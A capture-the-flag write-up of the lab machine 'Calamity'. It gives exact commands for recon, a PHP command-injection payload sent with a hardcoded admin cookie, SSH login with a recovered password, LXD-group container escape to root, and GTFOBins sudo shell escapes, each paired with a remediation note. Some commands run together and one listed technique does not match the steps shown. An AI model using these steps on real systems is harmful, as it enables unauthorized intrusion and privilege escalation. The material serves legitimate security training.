Calamity
Summary
Recon of <retired-instance-ip> (Apache/2.4.18 Ubuntu, "Brotherhood Software") found a single custom admin.php login page. Credential guessing failed, but the app set a static, predictable session cookie (`Set-session cookie [REDACTED: session value]
Further command execution as www-data uncovered a note ("dontforget") revealing history/working-directory hygiene tips, and exposed audio files (recov.wav, rick.wav) in /var/www/html/uploads/ that were pulled to my host and analyzed to recover a password derived from a numeric string with punctuation ([REDACTED: recovered credential]). Password-spraying that credential over SSH against the user xalvas succeeded, providing an interactive shell (uid=1000, groups include adm, lxd, sambashare).
Membership in the lxd group is a well-known Linux privilege-escalation primitive: LXD's UNIX socket API allows any member to build/import a privileged container that bind-mounts the host filesystem. A busybox-based LXD image (/tmp/lxd-bb-image, referencing metadata.yaml and a static busybox binary) was already staged on the box; it was repackaged as a tarball, imported into LXD, and used to launch a privileged container mounting / from the host, granting root on the host filesystem via the container. This path was executed through a generated script (/tmp/lxd_root.sh) and yielded root.txt (flag [REDACTED: flag]).
A secondary avenue was also investigated (a setuid root binary /home/xalvas/app/goodluck, source src.c — a menu-driven C program with a struct f containing a secret/admin field and a session ID derived from rand()/gettimeofday(), suggesting a predictable-session or buffer-overflow bug), but the LXD group misconfiguration was the faster, confirmed root path.
Attack path — how the box was taken
Exact commands 4
nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGETcurl -sS -i http://$TARGET/curl -sS -i http://$TARGET/admin.phpcurl -sS -i http://$TARGET/uploads/Exact commands 2
curl -sS -i --data 'user=admin&pass=[REDACTED: recovered credential]' http://$TARGET/admin.phpcurl -sS -i -b 'adminpowa=noonecares' http://$TARGET/admin.phpFixReplace the hardcoded session cookie with genuine server-side authenticationCritical
Exact commands 2
curl -sS --max-time 20 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=id' http://$TARGET/admin.phpcurl -sS --max-time 20 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=uname -a' http://$TARGET/admin.phpFixRemove server-side evaluation of user-supplied content and apply strict output encodingCritical
Exact commands 3
curl -sS --max-time 10 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=cat /home/xalvas/user.txt' http://$TARGET/admin.phpcurl -sS --max-time 10 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=ls -la /var/www/html/uploads/' http://$TARGET/admin.phpcurl -sS -o recov.wav http://$TARGET/uploads/recov.wav && curl -sS -o rick.wav http://$TARGET/uploads/rick.wavFixRemove server-side evaluation of user-supplied content and apply strict output encodingCritical
Exact commands 4
curl -sS --max-time 10 -b 'adminpowa=noonecares' --get --data-urlencode 'html=<?php system($_GET["cmd"]); ?>' --data-urlencode 'cmd=cat /etc/passwd' http://$TARGET/admin.phpsox recov.wav rick.wav -M mixed.wav remix 1v1 2v-1ffplay mixed.wavsshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password xalvas@$TARGET 'id'FixRemove credentials from web-accessible files and rotate all affected account passwordsHigh
Exact commands 3
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o PreferredAuthentications=password xalvas@$TARGETidls -la /tmp/lxd-bb-image/FixRemove credentials from web-accessible files and rotate all affected account passwordsHigh
Exact commands 6
cd /tmp && tar czf lxd-bb.tar.gz -C lxd-bb-image .lxc image import /tmp/lxd-bb.tar.gz --alias bbimagelxc init bbimage privesc -c security.privileged=truelxc config device add privesc hostroot disk source=/ path=/mnt/root recursive=truelxc start privesc && lxc exec privesc -- shcat /mnt/root/root/root.txtFixRemove non-administrator accounts from the lxd group and restrict LXD daemon accessHigh
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
LXD/LXC Group EscapeLinux · Privilege EscalationT1611
What it is
Membership in the lxd (or docker) group is root-equivalent. I imports a minimal image, launches a privileged container with the host filesystem mounted (security.privileged=true, disk source=/), then reads or writes root-owned host files — escaping the container to own the host.
Why it works
The lxd/docker daemons run as root and their group grants full control of that daemon, so group membership bypasses normal privilege boundaries. Remediate by treating these groups as privileged and not adding low-trust users to them.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |